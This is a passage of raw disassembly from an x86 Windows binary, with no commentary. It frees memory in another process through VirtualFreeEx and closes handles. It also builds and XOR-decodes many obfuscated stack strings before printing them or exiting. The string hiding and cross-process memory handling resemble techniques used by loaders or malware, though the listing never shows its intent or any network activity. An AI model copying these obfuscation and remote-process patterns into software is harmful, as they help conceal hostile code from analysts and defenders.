push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c08]
call esi
call fcn.0044d800
jmp 0x4580e4
push dword [ebp - 0x2c00]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2c10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c08]
call esi
push dword [ebp - 0x2c08]
call edi
lea eax, [ebp - 0x1900]
mov dword [ebp - 0x1920], 0x839d87e8
push eax
lea eax, [ebp - 0x1920]
mov dword [ebp - 0x191c], 0x718f1cec
push eax
lea ecx, [ebp - 0x3138]
mov dword [ebp - 0x1918], 0x2659b5b2
mov dword [ebp - 0x1914], 0xda4e9396
mov dword [ebp - 0x1910], 0x49973062
mov dword [ebp - 0x190c], 0xcfb5551d
mov dword [ebp - 0x1908], 0xad6124c8
mov dword [ebp - 0x1904], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x18e0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1900]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x1900], 0xe6f7e9a1
mov dword [ebp - 0x18fc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x18f8], 0x4b3cc1c6
mov dword [ebp - 0x18f4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x18f0], 0x2cfb5903
mov dword [ebp - 0x18ec], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x18e8], 0xad6124c8
mov dword [ebp - 0x18e4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x18c0]
mov dword [ebp - 0xd60], 0x839d87e8
push eax
lea eax, [ebp - 0x18e0]
mov dword [ebp - 0xd5c], 0x718f1cec
push eax
lea ecx, [ebp - 0x3130]
mov dword [ebp - 0x18e0], 0x839d87e8
mov dword [ebp - 0x18dc], 0x718f1cec
mov dword [ebp - 0xd58], 0x2659b5b2
mov dword [ebp - 0xd54], 0xda4e9396
mov dword [ebp - 0x18d8], 0x2659b5b2
mov dword [ebp - 0x18d4], 0xda4e9396
mov dword [ebp - 0xd50], 0x49973062
mov dword [ebp - 0xd4c], 0xcfb5551d
mov dword [ebp - 0x18d0], 0x49973062
mov dword [ebp - 0x18cc], 0xcfb5551d
mov dword [ebp - 0xd48], 0xad6124c8
mov dword [ebp - 0xd44], 0x9738a288
mov dword [ebp - 0x18c8], 0xad6124c8
mov dword [ebp - 0x18c4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd60]
lea eax, [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd60], xmm1
movaps xmm1, xmmword [ebp - 0xd50]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd50], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2bf4]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45d200
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
jne 0x45d576
lea eax, [ebp - 0x18a0]
mov dword [ebp - 0x18c0], 0x959980f6
push eax
lea eax, [ebp - 0x18c0]
mov dword [ebp - 0x18bc], 0x30c40be0
push eax
lea ecx, [ebp - 0x3128]
mov dword [ebp - 0x18b8], 0x2e56afaf
mov dword [ebp - 0x18b4], 0xdd4e9385
mov dword [ebp - 0x18b0], 0x419e2d77
mov dword [ebp - 0x18ac], 0xa9952b09
mov dword [ebp - 0x18a8], 0xc80d4da9
mov dword [ebp - 0x18a4], 0x9738a8ec
call fcn.0045f990
lea eax, [ebp - 0x1880]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x18a0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3120]
mov dword [ebp - 0x18a0], 0xe6f7e9a1
mov dword [ebp - 0x189c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1898], 0x4b3cc1c6
mov dword [ebp - 0x1894], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1890], 0x2cfb5903
mov dword [ebp - 0x188c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1888], 0xad6124c8
mov dword [ebp - 0x1884], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1860]
mov dword [ebp - 0xd80], 0x959980f6
push eax
lea eax, [ebp - 0x1880]
mov dword [ebp - 0xd7c], 0x30c40be0
push eax
lea ecx, [ebp - 0x3118]
mov dword [ebp - 0x1880], 0x959980f6
mov dword [ebp - 0x187c], 0x30c40be0
mov dword [ebp - 0xd78], 0x2e56afaf
mov dword [ebp - 0xd74], 0xdd4e9385
mov dword [ebp - 0x1878], 0x2e56afaf
mov dword [ebp - 0x1874], 0xdd4e9385
mov dword [ebp - 0xd70], 0x419e2d77
mov dword [ebp - 0xd6c], 0xa9952b09
mov dword [ebp - 0x1870], 0x419e2d77
mov dword [ebp - 0x186c], 0xa9952b09
mov dword [ebp - 0xd68], 0xc80d4da9
mov dword [ebp - 0xd64], 0x9738a8ec
mov dword [ebp - 0x1868], 0xc80d4da9
mov dword [ebp - 0x1864], 0x9738a8ec
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd80]
lea eax, [ebp - 0xd80]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd80], xmm1
movaps xmm1, xmmword [ebp - 0xd70]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd70], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2c68], 0xb5a2a8f1
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0x2c64], 0x10af68ca
lea ecx, [ebp - 0x3110]
mov dword [ebp - 0x2c60], 0x4b3cc1c6
mov dword [ebp - 0x2c5c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2c68]
push eax
call fcn.0045f990
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x2c78], 0xe6f7e9a1
lea eax, [ebp - 0x2c68]
mov dword [ebp - 0x2c74], 0x10af688f
push eax
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0x848], 0x4b3cc1c6
push eax
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2c70], 0x4b3cc1c6
mov dword [ebp - 0x2c6c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2c78]
mov dword [ebp - 0xaa0], 0xb5a2a8f1
push eax
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0xa9c], 0x10af68ca
push eax
lea ecx, [ebp - 0x3100]
mov dword [ebp - 0x2c88], 0xb5a2a8f1
mov dword [ebp - 0x2c84], 0x10af68ca
mov dword [ebp - 0xa98], 0x4b3cc1c6
mov dword [ebp - 0xa94], 0xbc6ee7e6
mov dword [ebp - 0x2c80], 0x4b3cc1c6
mov dword [ebp - 0x2c7c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xaa0]
lea eax, [ebp - 0xaa0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.005d6a9d
add esp, 4
call fcn.0044d800
jmp 0x4580e4
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045ed20
lea ecx, [ebp - 0x948]
call fcn.0045eaa0
lea ecx, [ebp - 0x13c8]
call fcn.0045eaa0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x13b0], 0x829686ed
lea eax, [ebp - 0x13b0]
mov dword [ebp - 0x13ac], 0x668f1aea
mov dword [ebp - 0x13a8], 0x224fb3a3
mov dword [ebp - 0x13a4], 0xdf4e8989
mov dword [ebp - 0x13a0], 0x47983c6b
mov dword [ebp - 0x139c], 0xbdc73a59
mov dword [ebp - 0x1398], 0x8d4d56a7
mov dword [ebp - 0x1394], 0xf65dcef8
mov dword [ebp - 0x1390], 0xcf3d34c6
mov dword [ebp - 0x138c], 0x2e5d1d1b
mov dword [ebp - 0x1388], 0x5b532c2a
mov dword [ebp - 0x1384], 0xe56f988
mov dword [ebp - 0x1380], 0x6eafe043
mov dword [ebp - 0x137c], 0x640478e6
mov dword [ebp - 0x1378], 0xe04afc22
mov dword [ebp - 0x1374], 0x12a749d8
mov dword [ebp - 0x1370], 0x1cc9f629
mov dword [ebp - 0x136c], 0xfcb326d7
mov dword [ebp - 0x1368], 0xb83e5d6e
mov dword [ebp - 0x1364], 0xadd0a9c7
mov dword [ebp - 0x1360], 0x84b359eb
mov dword [ebp - 0x135c], 0xc0917561
mov dword [ebp - 0x1358], 0x6d62d450
mov dword [ebp - 0x1354], 0x5c911670
movaps xmm1, xmmword [ebp - 0x13b0]
mov dword [ebp - 0x8d0], 0xe6f7e9a1
mov dword [ebp - 0x8cc], 0x10af688f
mov dword [ebp - 0x8c8], 0x4b3cc1c6
mov dword [ebp - 0x8c4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x13b0], xmm1
movaps xmm1, xmmword [ebp - 0x13a0]
mov dword [ebp - 0x8c0], 0x2cfb5903
mov dword [ebp - 0x8bc], 0xcfb55f79
mov dword [ebp - 0x8b8], 0xad6124c8
mov dword [ebp - 0x8b4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x8c0]
movaps xmmword [ebp - 0x13a0], xmm1
movaps xmm1, xmmword [ebp - 0x1390]
mov dword [ebp - 0x8b0], 0xac1d51b5
mov dword [ebp - 0x8ac], 0x453e7873
mov dword [ebp - 0x8a8], 0x2e3c550a
mov dword [ebp - 0x8a4], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1390], xmm1
movaps xmm1, xmmword [ebp - 0x1380]
mov dword [ebp - 0x8a0], 0x1cc09737
mov dword [ebp - 0x89c], 0xb67588d
mov dword [ebp - 0x898], 0x832f924c
mov dword [ebp - 0x894], 0x7cc820ac
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1380], xmm1
movaps xmm1, xmmword [ebp - 0x1370]
mov dword [ebp - 0x890], 0x78a79709
mov dword [ebp - 0x88c], 0x85c152f7
mov dword [ebp - 0x888], 0xd9593c4e
mov dword [ebp - 0x884], 0xa7fec7ae
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1370], xmm1
movaps xmm1, xmmword [ebp - 0x1360]
mov dword [ebp - 0x880], 0x84b359eb
mov dword [ebp - 0x87c], 0xc0917561
mov dword [ebp - 0x878], 0x6d62d450
mov dword [ebp - 0x874], 0x5c911670
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x1360], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x22f8]
call fcn.0045e8e0
push eax
push 0x66fe50
call fcn.0044b300
mov dword [ebp - 0x850], 0xe6f7e9a1
mov dword [ebp - 0x84c], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0xad0], 0xb5a2a8f1
mov dword [ebp - 0xacc], 0x10af68ca
mov dword [ebp - 0xac8], 0x4b3cc1c6
lea eax, [ebp - 0xad0]
mov dword [ebp - 0xac4], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xad0]
push eax
movaps xmmword [ebp - 0xad0], xmm1
call fcn.005d6a9d
add esp, 0xc
push 0
call fcn.005d703f
lea eax, [ebp - 0x1d40]
mov dword [ebp - 0x1d70], 0x829686ed
push eax
lea eax, [ebp - 0x1d70]
mov dword [ebp - 0x1d6c], 0x668f1aea
push eax
lea ecx, [ebp - 0x34f8]
mov dword [ebp - 0x1d68], 0x224fb3a3
mov dword [ebp - 0x1d64], 0xdf4e8989
mov dword [ebp - 0x1d60], 0x47983c6b
mov dword [ebp - 0x1d5c], 0xa6d43959
mov dword [ebp - 0x1d58], 0x810541a4
mov dword [ebp - 0x1d54], 0xf254d2a8
mov dword [ebp - 0x1d50], 0x8c7822d4
mov dword [ebp - 0x1d4c], 0x65470a07
mov dword [ebp - 0x1d48], 0x475d326b
mov dword [ebp - 0x1d44], 0x6b32f794
call fcn.0045f990
lea eax, [ebp - 0x1d70]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1da0]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x34f0]
mov dword [ebp - 0x1da0], 0xe6f7e9a1
mov dword [ebp - 0x1d9c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1d98], 0x4b3cc1c6
mov dword [ebp - 0x1d94], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1d90], 0x2cfb5903
mov dword [ebp - 0x1d8c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1d88], 0xad6124c8
mov dword [ebp - 0x1d84], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1d80], 0xac1d51b5
mov dword [ebp - 0x1d7c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1d78], 0x2e3c550a
mov dword [ebp - 0x1d74], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1da0]
mov dword [ebp - 0x11c0], 0x829686ed
push eax
lea eax, [ebp - 0x1dd0]
mov dword [ebp - 0x11bc], 0x668f1aea
push eax
lea ecx, [ebp - 0x34e8]
mov dword [ebp - 0x1dd0], 0x829686ed
mov dword [ebp - 0x1dcc], 0x668f1aea
mov dword [ebp - 0x11b8], 0x224fb3a3
mov dword [ebp - 0x11b4], 0xdf4e8989
mov dword [ebp - 0x1dc8], 0x224fb3a3
mov dword [ebp - 0x1dc4], 0xdf4e8989
mov dword [ebp - 0x11b0], 0x47983c6b
mov dword [ebp - 0x11ac], 0xa6d43959
mov dword [ebp - 0x1dc0], 0x47983c6b
mov dword [ebp - 0x1dbc], 0xa6d43959
mov dword [ebp - 0x11a8], 0x810541a4
mov dword [ebp - 0x11a4], 0xf254d2a8
mov dword [ebp - 0x1db8], 0x810541a4
mov dword [ebp - 0x1db4], 0xf254d2a8
mov dword [ebp - 0x11a0], 0x8c7822d4
mov dword [ebp - 0x119c], 0x65470a07
mov dword [ebp - 0x1db0], 0x8c7822d4
mov dword [ebp - 0x1dac], 0x65470a07
mov dword [ebp - 0x1198], 0x475d326b
mov dword [ebp - 0x1194], 0x6b32f794
mov dword [ebp - 0x1da8], 0x475d326b
mov dword [ebp - 0x1da4], 0x6b32f794
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x11c0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x11c0], xmm1
movaps xmm1, xmmword [ebp - 0x11b0]
lea eax, [ebp - 0x11c0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x11b0], xmm1
movaps xmm1, xmmword [ebp - 0x11a0]
pxor xmm1, xmmword [ebp - 0x880]
push eax
movaps xmmword [ebp - 0x11a0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2e18], 0xb5a2a8f1
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0x2e14], 0x10af68ca
lea ecx, [ebp - 0x34e0]
mov dword [ebp - 0x2e10], 0x4b3cc1c6
mov dword [ebp - 0x2e0c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2e18]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2e18]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x34d8]
mov dword [ebp - 0x2e28], 0xe6f7e9a1
mov dword [ebp - 0x2e24], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2e20], 0x4b3cc1c6
mov dword [ebp - 0x2e1c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2e28]
mov dword [ebp - 0xb80], 0xb5a2a8f1
push eax
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0xb7c], 0x10af68ca
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x2e38], 0xb5a2a8f1
mov dword [ebp - 0x2e34], 0x10af68ca
mov dword [ebp - 0xb78], 0x4b3cc1c6
mov dword [ebp - 0xb74], 0xbc6ee7e6
mov dword [ebp - 0x2e30], 0x4b3cc1c6
mov dword [ebp - 0x2e2c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb80]
lea eax, [ebp - 0xb80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb80], xmm1
call fcn.005d6a9d
add esp, 4
push 0
call fcn.005d703f
lea eax, [ebp - 0x2e38]
mov dword [ebp - 0x2e48], 0xe692e98f
push eax
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x2e44], 0x10ca68f7
push eax
lea ecx, [ebp - 0x34d0]
mov dword [ebp - 0x2e40], 0x4b3cc1c6
mov dword [ebp - 0x2e3c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2e48]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x2e58], 0xe6f7e9a1
mov dword [ebp - 0x2e54], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2e50], 0x4b3cc1c6
mov dword [ebp - 0x2e4c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2e58]
mov dword [ebp - 0xb90], 0xe692e98f
push eax
lea eax, [ebp - 0x2e68]
mov dword [ebp - 0xb8c], 0x10ca68f7
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x2e68], 0xe692e98f
mov dword [ebp - 0x2e64], 0x10ca68f7
mov dword [ebp - 0xb88], 0x4b3cc1c6
mov dword [ebp - 0xb84], 0xbc6ee7e6
mov dword [ebp - 0x2e60], 0x4b3cc1c6
mov dword [ebp - 0x2e5c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xb90]
lea ecx, [ebp - 0x2340]
pxor xmm1, xmmword [ebp - 0x850]
mov edx, 0xe
movaps xmmword [ebp - 0xb90], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x2310]
call fcn.00460ba0
add esp, 4
lea ecx, [ebp - 0x2340]
mov byte [ebp - 4], 0xd
call fcn.0045e640
sub esp, 0x18
lea eax, [ebp - 0x2310]
mov ecx, esp
mov dword [ebp - 0x2bfc], esp
push eax
call fcn.0045e770
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x16c0]
push eax
lea eax, [ebp - 0x16e0]
mov dword [ebp - 0x16e0], 0x8798858e
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x16dc], 0x3edd0deb
mov dword [ebp - 0x16d8], 0x395fafa3
mov dword [ebp - 0x16d4], 0xd91a979f
mov dword [ebp - 0x16d0], 0x45997767
mov dword [ebp - 0x16cc], 0xcfb55f17
mov dword [ebp - 0x16c8], 0xad6124c8
mov dword [ebp - 0x16c4], 0x9738a288
call fcn.0045f990
mov dword [ebp - 0x860], 0xe6f7e9a1
mov dword [ebp - 0x85c], 0x10af688f
lea eax, [ebp - 0x16a0]
mov dword [ebp - 0x16c0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x16c0]
mov dword [ebp - 0x16bc], 0x10af688f
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x16b8], 0x4b3cc1c6
mov dword [ebp - 0x16b4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x16b0], 0x2cfb5903
mov dword [ebp - 0x16ac], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x16a8], 0xad6124c8
mov dword [ebp - 0x16a4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1680]
mov dword [ebp - 0xee0], 0x8798858e
push eax
lea eax, [ebp - 0x16a0]
mov dword [ebp - 0xedc], 0x3edd0deb
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x16a0], 0x8798858e
mov dword [ebp - 0x169c], 0x3edd0deb
mov dword [ebp - 0xed8], 0x395fafa3
mov dword [ebp - 0xed4], 0xd91a979f
mov dword [ebp - 0x1698], 0x395fafa3
mov dword [ebp - 0x1694], 0xd91a979f
mov dword [ebp - 0xed0], 0x45997767
mov dword [ebp - 0xecc], 0xcfb55f17
mov dword [ebp - 0x1690], 0x45997767
mov dword [ebp - 0x168c], 0xcfb55f17
mov dword [ebp - 0xec8], 0xad6124c8
mov dword [ebp - 0xec4], 0x9738a288
mov dword [ebp - 0x1688], 0xad6124c8
mov dword [ebp - 0x1684], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xee0]
lea eax, [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xee0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xed0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2bf4], esp
push eax
movaps xmmword [ebp - 0xed0], xmm1
call fcn.0045ebf0
lea eax, [ebp - 0x2e68]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x2e78], 0x81959cd1
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x2e74], 0x7ed946e2
mov dword [ebp - 0x2e70], 0x6544a0ae
mov dword [ebp - 0x2e6c], 0xbc038885
call fcn.0045f990
lea eax, [ebp - 0x2e78]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x2e88], 0xe6f7e9a1
mov dword [ebp - 0x2e84], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2e80], 0x4b3cc1c6
mov dword [ebp - 0x2e7c], 0xbc6ee7e6
call fcn.0045f990
mov dword [ebp - 0xba0], 0x81959cd1
lea eax, [ebp - 0x2e88]
mov dword [ebp - 0xb9c], 0x7ed946e2
push eax
lea eax, [ebp - 0x2e98]
mov dword [ebp - 0x2e98], 0x81959cd1
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0x2e94], 0x7ed946e2
mov dword [ebp - 0xb98], 0x6544a0ae
mov dword [ebp - 0xb94], 0xbc038885
mov dword [ebp - 0x2e90], 0x6544a0ae
mov dword [ebp - 0x2e8c], 0xbc038885
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xba0]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xba0], xmm1
push eax
call fcn.0045ebf0
mov ecx, esi
mov byte [ebp - 4], 0xd
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2310]
push 0xc0
call fcn.0045e630
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2310]
mov ecx, esp
push eax
call fcn.0045e770
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d703f
int3